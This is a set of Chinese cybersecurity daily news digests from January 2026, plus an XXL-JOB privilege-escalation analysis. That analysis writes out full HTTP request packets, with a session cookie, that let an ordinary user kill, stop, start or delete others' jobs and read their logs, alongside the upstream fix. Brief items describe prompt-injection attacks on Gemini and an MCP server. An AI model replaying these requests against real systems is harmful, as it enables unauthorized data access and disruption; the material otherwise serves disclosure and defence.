网络安全日报 2026年01月26日
1、约旦政府被曝使用Cellebrite手机破解技术监控特定人群
https://cyberscoop.com/researchers-find-jordan-government-used-cellebrite-phone-cracking-tech-against-activists/ 加拿大多伦多大学公民实验室(Citizen Lab)发布调查报告称,约旦政府部门在国内抗议活动期间,使用以色列公司Cellebrite提供的手机取证破解技术,对本国活动人士和人权捍卫者实施非授权监控。研究人员对四名被扣押后归还手机的活动人士设备进行分析,发现这些设备高度可信地遭到Cellebrite取证工具的数据提取操作,并结合约旦2023年网络犯罪法相关司法文件确认了
2、美国运动品牌安德玛调查一起数据泄露事件
https://securityaffairs.com/187229/data-breach/investigation-underway-after-72m-under-armour-records-surface-online.html 美国运动品牌安德玛(Under Armour)正联合外部网络安全专家调查一起数据泄露事件,此前有网络犯罪分子在黑客论坛公开了7200万条用户记录。该事件与2025年11月珠峰勒索软件团伙(Everest ransomware gang)声称的攻击相关,当时该团伙宣称获取了343GB数据并试图勒索赎金,2026年1月相关用户数据被公开披露。泄露数据经平台确
3、黑客组织利用微软Visual Studio Code发起攻击
https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/ 研究人员发现,与朝鲜相关联的“传染性面试”(Contagious Interview)攻击活动持续升级,已拓展出利用微软Visual Studio Code的新型攻击手法。去年年底,该实验室发布相关研究后,开源恶意软件研究团队(OSM)也披露了该活动早期攻击技术的进化特征。除原有攻击手段外,攻击者新增利用Visual Studio Code的tasks.json配置文件植入恶意载荷的方式,12月更引入含高度混淆JavaScript的字典文件,
4、ShinyHunters团伙泄露数百万条用户及企业数据
https://hackread.com/shinyhunters-leak-soundcloud-crunchbase-betterment-data/ 黑客团伙ShinyHunters再度活跃,于2026年1月22日通过Telegram发布暗网链接,公开泄露SoundCloud、Crunchbase及Betterment三家平台的数百万条用户及企业数据,此次泄露源于对三家公司的勒索未遂。该团伙搭建专属暗网泄露站点,宣称“要么付款要么泄露”,并放话后续将发起更多数据泄露攻击。泄露数据含Betterment超2000万条个人身份信息、Crunchbase超200万条企业数据及SoundClo
5、CISA确认四款企业软件漏洞遭黑客主动利用
https://www.bleepingcomputer.com/news/security/cisa-confirms-active-exploitation-of-four-enterprise-software-bugs/ 美国网络安全与基础设施安全局(CISA)发布预警,确认四款企业软件漏洞正遭黑客主动利用,并已将其纳入已知被利用漏洞(KEV)目录。这四大漏洞分别影响Versa、Zimbra企业软件,Vite前端工具框架及Prettier代码格式化工具,对企业网络安全构成显著威胁。其中,CVE-2025-34026为Versa Concerto SD-WAN编排平台的严重级身份绕过漏
6、Osiris勒索软件利用BYOVD技术禁用安全工具
https://securityaffairs.com/187279/security/osiris-ransomware-emerges-leveraging-byovd-technique-to-kill-security-tools.html 研究人员发现一种新型Osiris勒索软件,其在2025年11月针对东南亚某大型餐饮连锁运营商的攻击中被启用,攻击者借助自带易受攻击驱动(BYOVD)技术,滥用POORTRY驱动来禁用目标设备上的安全工具,为后续攻击铺路。这款勒索软件具备完整的攻击功能,可终止各类服务与进程、精准筛选文件及文件夹进行加密、投放勒索信,采用混合加密算法保障加密强度,给
7、恶意PyPI包仿冒SymPy传播挖矿木马
https://socket.dev/blog/pypi-package-impersonates-sympy-to-deliver-cryptomining-malware 研究人员发现一款名为sympy-dev的恶意PyPI包,该包仿冒热门Python符号数学库SymPy,后者月下载量达8500万次,攻击者复制了SymPy的项目描述及品牌元素,以此诱导用户误安装。该恶意包于2026年1月17日发布4个版本(1.2.3至1.2.6),均含恶意代码,维护者标注为Nanit,上线首日下载量即突破1000次,虽下载量不等同于感染量,但已快速渗透至开发者及持续集成(CI)环境。包内恶意代码注入下载
8、黑客组织将恶意软件伪装成Notepad++工具传播
https://asec.ahnlab.com/en/92183/ 研究人员披露韩国境内相关传播案例及IOC指标。以部署代理软件(Proxyware)闻名的威胁组织Larva‑25012,近期开始将恶意软件伪装成Notepad++安装程序传播,同时通过进程注入、Python加载器等手段更新技术,规避检测。代理劫持指未经用户同意安装代理软件,劫持设备带宽供第三方使用并从中牟利,与加密劫持类似但核心是利用带宽而非CPU/GPU资源。Larva‑25012至少自2024年起活跃,传播多款代理软件,主要通过免费YouTube视频下载网站、伪造盗版软件下载站的广告扩散恶意程序。
9、思科关键RCE漏洞(CVE-2026-20045)已被攻击
https://www.anquanke.com/post/id/314457 思科已向全球网络管理员发出紧急警告:其核心通信软件中存在一个严重远程代码执行(RCE)漏洞,目前正被黑客积极利用。该漏洞编号为 CVE-2026-20045,允许未授权攻击者接管受影响设备,并可能将权限提升至 root。该漏洞直击企业通信的核心,影响包括 Cisco Unified Communications Manager(Unified CM) 和 Cisco Unity Connection 在内的重要平台。
10、CISA确认四款企业软件漏洞遭黑客主动利用
https://www.bleepingcomputer.com/news/security/cisa-confirms-active-exploitation-of-four-enterprise-software-bugs/ 美国网络安全与基础设施安全局(CISA)发布预警,确认四款企业软件漏洞正遭黑客主动利用,并已将其纳入已知被利用漏洞(KEV)目录。这四大漏洞分别影响Versa、Zimbra企业软件,Vite前端工具框架及Prettier代码格式化工具,对企业网络安全构成显著威胁。其中,CVE-2025-34026为Versa Concerto SD-WAN编排平台的严重级身份绕过漏
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月23日
1、PDFSIDER恶意软件利用DLL侧加载技术规避检测
https://www.resecurity.com/es/blog/article/pdfsider-malware-exploitation-of-dll-side-loading-for-av-and-edr-evasion 恶意软件PDFSIDER依托DLL侧加载技术规避杀毒与EDR检测,通过隐蔽后门实现加密控制,兼具间谍与勒索攻击适配能力。攻击者以鱼叉邮件投递含合法签名PDF24 Creator工具的压缩包,植入伪造cryptbase.dll,借软件漏洞诱使程序加载恶意DLL而非系统原生文件,实现无感知代码执行。该恶意代码全程内存运行、无磁盘残留,通过匿名管道启动隐藏命令行,采用A
2、攻击者仿冒LastPass发起钓鱼攻击
https://securityaffairs.com/187145/cyber-crime/crooks-impersonate-lastpass-in-campaign-to-harvest-master-passwords.html 密码管理器LastPass警告,2026年1月19日起出现针对其用户的仿冒钓鱼活动,攻击者以紧急维护为由诱骗用户泄露主密码。钓鱼邮件以基础设施更新、密码库安全等为主题,催促用户24小时内备份密码库,链接先跳转至亚马逊S3托管页面,再导向仿冒站点mail-lastpass[.]com。攻击者特意选在美国假日周末发起攻击,利用人员配置减少延迟检测与响应。Las
3、Zoom与GitLab发布安全更新修复多个安全漏洞
https://thehackernews.com/2026/01/zoom-and-gitlab-release-security.html Zoom与GitLab分别发布安全更新,修复多款高风险漏洞,涵盖远程代码执行(RCE)、拒绝服务(DoS)及双因素认证(2FA)绕过等风险,涉及两款产品不同模块。Zoom最严重漏洞为CVE-2026-22844(CVSS评分9.9),存在于节点多媒体路由器(MMR)中,会议参与者可通过网络访问发起RCE攻击,影响特定旧版本模块,目前无在野利用证据,官方建议用户升级至5.2.1716.0及以上版本。GitLab修复3个高危漏洞,含2个可致DoS的未授权
4、思科发布补丁修复远程代码执行漏洞
https://securityaffairs.com/187177/security/cisco-fixed-actively-exploited-unified-communications-zero-day.html 思科发布补丁修复被主动利用的高危零日RCE漏洞CVE-2026-20045(CVSS评分8.2)。漏洞源于HTTP请求输入验证不当,未授权远程攻击者可发送特制请求获取系统权限并提权至root,思科已监测到在野攻击尝试,且确认无临时规避方案,强烈建议用户升级至对应修复版本。此外,1月初思科还修复了ISE产品的中危漏洞CVE-2026-20029,该漏洞因XML解析问题可致敏
5、苹果第二大代工厂立讯精密疑遭勒索攻击,敏感数据外泄
https://cybersecuritynews.com/luxshare-data-exposed/ 立讯精密遭勒索攻击致苹果供应链机密泄露,涉及AirPods、iPhone及Vision Pro生产数据,威胁苹果供应链安全,暴露制造漏洞。需紧急调查并提升防护,凸显高科技供应链安全紧迫性。
6、首款全AI驱动的威胁框架高级恶意软件VoidLink问世
https://cybersecuritynews.com/new-ai-malware-era-begins-as-advanced-voidlink-malware/ 首款AI构建的高级恶意软件VoidLink出现,单人借助AI一周完成复杂开发,采用先进技术隐藏踪迹。AI驱动使恶意软件开发从团队协作变为单人操作,威胁网络安全格局。警示类似AI恶意软件可能未被发现。
7、高危BIND漏洞可致服务器远程崩溃
https://securityonline.info/cve-2025-13878-high-severity-bind-flaw-exposes-servers-to-remote-crash/ ISC警告BIND 9存在高危漏洞(CVE-2025-13878),攻击者可远程发送恶意数据包致服务器崩溃,影响所有BIND部署。建议立即升级至9.18.44、9.20.18或9.21.17版本修复。
8、虚假Notepad++安装包暗藏"代理劫持"恶意软件
https://securityonline.info/bandwidth-bandits-fake-notepad-installers-hide-proxyjacking-malware/ 黑客伪装Notepad++分发恶意软件,利用DLL侧加载技术窃取用户带宽牟利,主要针对盗版软件下载者。攻击者不断升级手段逃避检测,警示用户避免非官方渠道下载软件。
9、NVIDIA修复图形与AI工具中的高危漏洞
https://securityonline.info/nvidia-patches-high-severity-flaws-in-graphics-and-ai-tools/ NVIDIA发布高危漏洞警告,Nsight Graphics(Linux版)和Merlin推荐系统框架存在代码注入风险(CVSS 7.8),可导致系统沦陷,需立即升级至安全版本。
10、研究人员揭露LockBit 5.0最新附属面板与加密变种
https://cybersecuritynews.com/researchers-uncovered-lockbits-5-0-latest-affiliate-panel/ LockBit勒索软件组织发布5.0版本,新增多平台攻击变种,显示其持续运作和适应能力。尽管执法打击影响声誉,其基础设施和附属计划仍活跃,凸显打击勒索软件的长期挑战。安全团队已获取防御所需技术细节。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月22日
1、CrashFix恶意扩展伪装广告拦截器传播远控木马
https://www.malwarebytes.com/blog/news/2026/01/fake-extension-crashes-browsers-to-trick-users-into-infecting-themselves 研究人员发现类ClickFix攻击手法“CrashFix”,攻击者通过伪装成广告拦截器的恶意Chrome扩展“NexShield – Advanced Web Protection”实施攻击,该扩展曾上架官方应用商店,目前已被下架但存在更名复现风险。扩展安装后会向拼写错误的nexsnield[.]com回传数据,借助Chrome闹钟接口延迟60分钟启动恶意
2、Everest勒索软件声称入侵麦当劳印度分部
https://hackread.com/everest-ransomware-mcdonalds-india-breach-customer-data/ 2026年1月20日,知名Everest勒索软件团伙在暗网泄露站点发布声明,声称入侵美国快餐巨头麦当劳印度分公司,窃取861GB客户数据及内部文档,并公布截图佐证其说法。截图显示含2023至2026年财务报告、ERP迁移文件、投资者信息目录及合作伙伴联系方式等敏感内容,还涉及门店经理信息与联系方式。该团伙称泄露数据含客户信息,已向麦当劳印度下达两天回应期限,目前对方尚未发布官方声明,事件真实性仍待核实。
3、Cloudflare修复ACME验证绕过WAF漏洞
https://www.freebuf.com/articles/web/467348.html Cloudflare近日修复了其自动证书管理环境(ACME)验证逻辑中的一个安全漏洞,该漏洞可能导致攻击者绕过安全控制措施直接访问源服务器。
4、Anthropic Git MCP存在三个漏洞,可导致文件访问与代码执行
https://www.freebuf.com/articles/ai-security/467374.html Anthropic官方维护的Git Model Context Protocol(MCP)服务器mcp-server-git被披露存在三个安全漏洞,攻击者可利用这些漏洞在某些条件下读取或删除任意文件并执行代码。
5、Redis官方容器曝出RCE漏洞
https://www.freebuf.com/articles/system/467409.html JFrog安全研究团队公开披露了Redis中一个高危漏洞的完整利用链,证明在2026年,"老派"的栈缓冲区溢出攻击依然活跃且危险。该漏洞编号为CVE-2025-62507,CVSS评分为8.8分,影响Redis 8.2.0至8.2.2版本。虽然官方公告已警告潜在风险,但JFrog团队决定进一步验证是否可实现完整的远程代码执行(RCE),并最终取得成功。
6、新研究显示GPT-5.2可规模化开发0Day漏洞利用程序
https://www.freebuf.com/articles/467387.html 一项突破性实验表明,先进语言模型现已能够为未知安全漏洞创建有效的利用程序。安全研究员 Sean Heelen 近期测试了基于 GPT-5.2 和 Opus 4.5 构建的两套复杂系统,要求它们针对 QuickJS JavaScript 解释器中的 0Day 漏洞开发利用程序。实验结果标志着攻击性网络安全能力的重大转变——自动化系统可在无人干预的情况下生成功能性攻击代码。
7、攻击者滥用Discord传播剪贴板劫持程序窃取加密货币钱包地址
https://cybersecuritynews.com/attackers-abuse-discord-to-deliver-clipboard-hijacker/ 新型剪贴板劫持程序通过Discord伪装成工具传播,静默监控并替换加密货币钱包地址,主要针对游戏玩家和主播。攻击者利用社交工程建立信任,程序隐蔽运行且难以察觉,已窃取多种加密货币资金。
8、欧盟漏洞数据库正式上线 采用去中心化模式运营
https://www.csoonline.com/article/4118848/new-eu-vulnerability-database-launched.html 欧洲推出免费网络安全漏洞数据库db.gcve.eu,采用去中心化架构和开放API,终结对美式数据库依赖,强化数字主权,应对CVE项目终止风险,实现跨生态协作。
9、GNU libtasn1中存在一字节溢出漏洞
https://www.anquanke.com/post/id/314411 GNU libtasn1 中被发现一个潜在危险的漏洞。该库是无数应用用于处理安全通信和数字签名的基础软件组件。漏洞编号为 CVE-2025-13151,CVSS 评分为 7.5,属于栈缓冲区溢出,可能在安全敏感场景中导致内存破坏。该库是密码学供应链中的关键组件,负责实现 ASN.1 数据结构的解析规则 —— 这正是 X.509 数字证书和 SSL/TLS 协议所使用的格式。
10、ImageMagick新漏洞“XBM”图片上传触发大规模堆溢出
https://www.anquanke.com/post/id/314440 ImageMagick 中发现了一个新的高危漏洞。ImageMagick 是一个无处不在的图像处理库,从社交媒体平台到内容管理系统都在使用。该漏洞编号为 CVE-2026-23876,攻击者只需上传一个特制的 XBM 图像文件,即可触发大规模堆缓冲区溢出。该漏洞的 CVSS 评分为 8.1,对任何处理不可信图像的网络服务都构成重大风险,可能导致内存破坏或程序崩溃。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
XXL-JOB 越权漏洞分析
漏洞简介
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。 这次介绍的漏洞属于水平越权漏洞,简单来说就是,一个没有任何任务管理权限的用户,只要登录了系统后,就能构造请求来操作其他人的任务。
受影响的接口包括:
XXL-JOB 的权限控制分两层:
全局拦截器:通过 PermissionInterceptor 检查用户是否登录
方法级注解:通过 @PermissionLimit 注解控制是否需要管理员权限
问题出现于:在接口处既没有加 @PermissionLimit 注解要求管理员权限,方法内部也没有校验用户对具体任务的操作权限。
漏洞验证&分析
管理员登录后台并创建一个无任何权限的普通用户
根据日志id 越权停止启动进程 logKill
根据 https://developer.aliyun.com/article/1649153?spm=a2c6h.24874632.expert-profile.57.1c5939ad7RZU4e 创建一个 XXL-JOB 执行器,属于正常业务功能
为了方便展示效果我们配置一个 jobTest1Handler
@XxlJob("jobTest1Handler")
public void jobTest1Handler() {
try {
System.out.println("jobTest1Handler 开始执行 - " + new Date());
for (int i = 1; i <= 100000; i++) {
// 检查线程是否被中断
if (Thread.currentThread().isInterrupted()) {
System.out.println("任务被中断,退出循环");
return;
}
System.out.println("jobTest1Handler - 第" + i + "次执行 - 定时任务执行时间:" + new Date());
Thread.sleep(1000);
}
System.out.println("jobTest1Handler 执行完成 - " + new Date());
} catch (InterruptedException e) {
System.err.println("任务被中断:" + e.getMessage());
Thread.currentThread().interrupt();
}
}
管理员登录后台后将任务部署并执行
我们看到执行器项目中已经开始执行并打印处日志信息
此时我们登录普通用户的账号信息
是没有对任务调度的任何操作权限
构造数据包
GET /xxl-job-admin/joblog/logKill?id=1225 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
执行的任务信息被中断
此时对应的 id 1225 是 任务 job_id 5 对应此时启动的日志 id
src/main/java/com/xxl/job/admin/controller/interceptor/WebMvcConfig.java
通过 WebMvcConfig 配置,PermissionInterceptor 作为全局拦截器对所有请求路径(/**)进行拦截。
com.xxl.job.admin.controller.interceptor.PermissionInterceptor#preHandle
在 preHandle 方法中,拦截器会检查目标方法是否标注了 @PermissionLimit 注解来决定是否需要登录验证和管理员权限。如果需要登录,会调用 loginService.ifLogin() 验证用户身份,未登录用户会被重定向到登录页面;已登录用户信息会存储在 request 属性中供后续使用。
com.xxl.job.admin.controller.JobLogController#logKill
在 XXL-Job 的权限体系中,如果一个接口方法没有标注 @PermissionLimit 注解,那么该方法会受到全局 PermissionInterceptor 的默认保护,即要求用户必须登录(needLogin \= true)但不要求管理员权限(needAdminuser \= false)。因此 logKill 方法虽然需要登录验证,但任何普通登录用户都可以访问,这就形成了一个权限漏洞:普通用户可以终止任何任务,而不受 JobGroup 权限限制或管理员角色限制。正确的做法应该是在 logKill 方法中添加 PermissionInterceptor.validJobGroupPe
根据日志id 越权查看日志信息 logDetailCat
是没有对调度日志的任何操作权限
普通用户登录后 构造数据包
GET /xxl-job-admin/joblog/logDetailCat?logId=1225&fromLineNum=1 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
现在看到的,是 XXL-JOB 框架的日志,信息量似乎不大。但是,如果这个任务的业务逻辑是这样的:
@XxlJob("processOrderJob")
public void processOrderJob() {
// 1. 从数据库查询待处理订单
Order order \= orderDao.getPendingOrder();
XxlJobHelper.log("开始处理订单,订单号:{}", order.getOrderId());
// 2. 调用第三方支付接口
PaymentResult result \= paymentService.process(order);
XxlJobHelper.log("支付接口返回,用户ID:{},手机号:{}", order.getUserId(), order.getPhoneNumber());
// 3. 更新订单状态
orderDao.updateStatus(order.getOrderId(), "SUCCESS");
XxlJobHelper.log("订单处理完成,地址:{}", order.getAddress());
}
如果 logId\=1 对应的是这样一个任务,那么通过 /logDetailCat 漏洞,获取到的 logContent 就会变成: 开始处理订单,订单号:202508190001 支付接口返回,用户ID:10086,手机号:13812345678 订单处理完成,地址:上海市浦东新区xxx路xxx号
这就是这个漏洞最直接、最严重的危害: 无论是否有权限,都可以实时窃取到系统中任意一个任务在执行过程中打印的任何信息,其中极有可能包含用户隐私、订单数据、内部接口参数等核心业务敏感信息。
com.xxl.job.admin.controller.JobLogController#logDetailCat
logDetailCat 方法存在权限设计缺陷。该方法没有标注 @PermissionLimit 注解,因此只受到全局权限拦截器的默认保护,仅要求用户登录但不验证具体权限。这意味着任何登录用户都可以通过传入任意的 logId 参数来查看任何任务的执行日志详情,包括不属于自己权限范围内的 JobGroup 的任务日志,从而可能泄露敏感的业务信息、配置参数或执行结果。正确的做法应该是在方法中添加 PermissionInterceptor.validJobGroupPermission(request, jobLog.getJobGroup()) 来验证用户是否有权限查看该任务所属组的日志信息
根据任务id 越权启动、停止、删除任务
根据 https://developer.aliyun.com/article/1649153?spm=a2c6h.24874632.expert-profile.57.1c5939ad7RZU4e 创建一个 XXL-JOB 执行器,属于正常业务功能
为了方便展示效果我们配置一个 jobTestHandler
@XxlJob("jobTestHandler")
public void jobTestHandler() {
System.out.println("hello World!" + "- " + "定时任务执行时间:" +new Date());
}
管理员登录后台后将任务部署并执行
启动成功后 执行器项目中已经开始执行并打印处日志信息
此时我们登录普通用户的账号信息
是没有对任务调度的任何操作权限
以普通用户的权限构造数据包
GET /xxl-job-admin/jobinfo/stop?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
每秒执行的项目停止
再构造数据包
GET /xxl-job-admin/jobinfo/start?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
项目重新启动成功
构造数据包
GET /xxl-job-admin/jobinfo/remove?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
任务被删除
src/main/java/com/xxl/job/admin/controller/JobInfoController.java
src/main/java/com/xxl/job/admin/service/XxlJobService.java
com.xxl.job.admin.service.impl.XxlJobServiceImpl#remove
com.xxl.job.admin.service.impl.XxlJobServiceImpl#start
com.xxl.job.admin.service.impl.XxlJobServiceImpl#stop
remove、stop 和 start 三个方法都存在相同的权限设计缺陷。这些方法均没有标注 @PermissionLimit 注解,因此只受到全局权限拦截器的默认保护,仅要求用户登录但不验证具体权限。这意味着任何普通登录用户都可以对任意定时任务执行删除、停止或启动操作,完全绕过了 JobGroup 权限限制。其中 remove 方法的风险最高,允许用户删除任何任务及其相关数据;stop 和 start 方法则允许用户随意控制任务的执行状态,可能中断重要业务流程或启动危险任务。正确的做法应该是在这些方法中都添加 PermissionInterceptor.validJobGroupPermis
漏洞修复
修复的核心思路就是:在执行敏感操作之前,先验证当前登录用户是否对目标任务所属的 JobGroup 有操作权限。
在 Controller 层,对 remove、stop、start 方法增加了获取当前登录用户的逻辑
在 Service 层,对接口方法增加了 XxlJobUser loginUser 参数
在 ServiceImpl 层, 对 remove、stop、start 方法增加了权限校验逻辑 hasPermission
https://github.com/xuxueli/xxl-job/pull/3792/commits/739d6a2483ce8f6c2a824098fbddb0f90087fba6
网络安全日报 2026年01月21日
1、APT组织Konni利用谷歌和Naver广告传播恶意软件
https://www.genians.co.kr/en/blog/threat_intelligence/spear-phishing 研究人员披露,波塞冬行动(Operation Poseidon)是臭名昭著的Konni APT组织发起的精密攻击活动。攻击者滥用ad.doubleclick[.]net、mkt.naver[.]com的合法重定向链接,使初始点击对安全过滤器呈良性,诱导用户经广告服务器跳转至已被攻陷的WordPress网站获取恶意载荷。攻击精准针对韩国目标,伪装人权组织、金融机构发送钓鱼邮件,以“材料提交说明”“转账交易记录确认”等名义诱骗下载恶意压缩包,还通过HTML隐藏
2、键盘记录器入侵美国银行员工商店窃取敏感数据
https://sansec.io/research/keylogger-major-us-bank-employees 研究人员在美国三大银行之一的员工商品商店中,发现一款活跃键盘记录器,该网站服务超20万名员工,用于订购企业定制商品,恶意软件可窃取表单中登录凭证、银行卡号及个人信息。截至1月15日更新,该恶意软件已被移除,累计活跃约18小时。其采用两阶段加载机制,通过字符编码混淆规避静态分析,借助图片信标技术外传数据以绕过防护。该威胁仅被Sansec检测到,暴露通用安全工具盲区,且涉事银行未公开security.txt致漏洞上报受阻,专家建议将员工商店纳入安全审计,部署专用工具防护客户端
3、Anthropic官方Git MCP服务器曝链式漏洞
https://www.freebuf.com/articles/ai-security/467354.html Anthropic PBC的官方Git Model Context Protocol(模型上下文协议)服务器存在多个安全漏洞,可能引发任意文件访问,某些情况下甚至能通过提示词注入(prompt injection)实现完整的远程代码执行。人工智能安全初创公司Cyata Security Ltd今日发布的最新研究报告披露了这一情况。这些漏洞影响mcp-server-git——Anthropic为Git开发的MCP参考实现,该组件旨在向开发者示范如何安全地将Git仓库暴露给基于大语言
4、间谍软件反制升级,Predator恶意软件开始猎杀安全研究人员
https://www.freebuf.com/articles/endpoint/467248.html 商业间谍软件行业不再仅开发针对受害者的监控工具,他们正在构建专门用于反制研究人员的功能。Jamf Threat Labs最新技术分析报告揭露,臭名昭著的Predator间谍软件中潜藏着此前未记录的复杂反分析机制,其精密程度足以扭转攻防态势。
5、基于TG的非法交易平台"土豆担保"停止运营
https://www.freebuf.com/news/467340.html 区块链网络安全公司Elliptic报告指出,东南亚地区基于Telegram的大型非法交易平台"土豆担保"(Tudou Guarantee)已停止其公开群组的交易活动,该平台此前处理了超过20亿q币的交易。研究人员表示,其他服务仍在运行,因此尚不确定是否完全关闭。
6、Deno 高危漏洞可导致密钥泄露和代码执行
https://www.anquanke.com/post/id/314377 以 “默认安全” 架构闻名的现代 JavaScript/TypeScript 运行时 Deno 近期曝出两个重大安全漏洞。这两个漏洞分别影响运行时的加密兼容性层和 Windows 平台的命令执行机制,可能导致敏感服务器密钥泄露,并允许攻击者执行任意代码。
7、OpenStack管理员权限伪造漏洞允许用户 “申请” root 权限
https://www.anquanke.com/post/id/314392 OpenStack 云基础设施项目中一个重大安全漏洞已被修复,该漏洞位于其身份认证中间件中。漏洞编号为 CVE-2026-22797,属于权限提升漏洞,允许已通过认证的普通用户欺骗系统,使其获得管理员权限或冒充其他用户。问题出在 keystonemiddleware 中,这是 OpenStack 服务中负责处理身份验证令牌的关键组件。
8、2025年至少29款银行App被通报,侵害用户权益问题之前更严峻
https://www.secrss.com/articles/87139 以银行业为例,近几年侵害用户权益的App较多,个人信息安全问题较为严峻。此次,《银行科技研究社》对2025年因侵害用户权益而被通报的App进行了不完全统计。2025共29款银行App被通报,违规收集个人信息问题最常见从统计数据来看,2025年共有29款银行App被通报。对比前两年的数据,2024年有17款、2023年有20款,可见,去年被通报的银行App比前两年更多。在29款App中,浦发银行占3款,其他银行各有1款App。
9、虚假生产力工具:5 款恶意 Chrome 扩展劫持企业会话
https://www.anquanke.com/post/id/314370 Socket 威胁研究团队揭露了一场针对企业环境的新型、高度复杂的攻击活动。五款伪装成生产力工具的恶意 Google Chrome 扩展被发现正在窃取身份验证令牌并劫持用户会话,目标涵盖 Workday、NetSuite、SAP SuccessFactors 等主流企业平台。
10、谷歌Gemini漏洞揭示企业面临新型AI提示注入风险
https://www.csoonline.com/article/4119029/google-gemini-flaw-exposes-new-ai-prompt-injection-risks-for-enterprises.html 谷歌Gemini曝日历邀请漏洞,攻击者可植入自然语言指令操纵AI行为,凸显生成式AI集成工作流的新型安全风险。专家建议实施最小权限原则、零信任防护及全员AI安全培训,限制潜在危害而非完全消除风险。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月20日
1、GootLoader使用拼接ZIP压缩包绕过安全防护
